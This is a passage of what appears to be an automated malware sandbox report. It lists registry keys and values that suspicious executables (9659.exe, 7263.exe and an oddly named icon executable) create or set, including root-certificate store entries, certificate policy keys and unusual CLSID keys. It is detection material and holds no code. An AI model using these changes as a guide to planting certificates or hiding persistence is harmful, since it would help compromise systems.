Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 9659.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" 9659.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 9659.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 9659.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "Microsoft Zira Mobile - English (United States)" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "11.0.2016.0129" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "Microsoft Speech HW Voice Activation - English (United States)" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGLockdown MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\myactualblog.com\NumberOfSu = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "6;18;22" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\AI041033" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\google.com MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\650478DC7424C37C\2 = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\myactualblog.com\ = "28" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "{14E74C62-DC97-43B0-8F2F-581496A65D60}" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$WordPress MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "913" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\google.com\Total = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\acnav.online\ = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 301bd569d72dd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "Traditional Chinese Phone Converter" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "- 0001 ! 0002 & 0003 , 0004 . 0005 ? 0006 _ 0007 1 0008 ~ 0009 aa 000a a 000b oh 000c ax 000d b 000e d 000f eh 0010 ey 0011 f 0012 g 0013 hy 0014 uy 0015 iy 0016 k 0017 l 0018 m 0019 n 001a ng 001b nj 001c oe 001d eu 001e ow 001f p 0020 r 0021 s 0022 sh 0023 t 0024 uw 0025 v 0026 w 0027 y 0028 z 0029 zh 002a" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\Total MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\www.acnav.online MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\650478DC7424C37C svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\myactualblog.com\ = "890" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompletedV = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe -
Processes:
7263.exe1075474_ah_hot_iconçè_)))_.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 7263.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 7263.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 1075474_ah_hot_iconçè_)))_.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 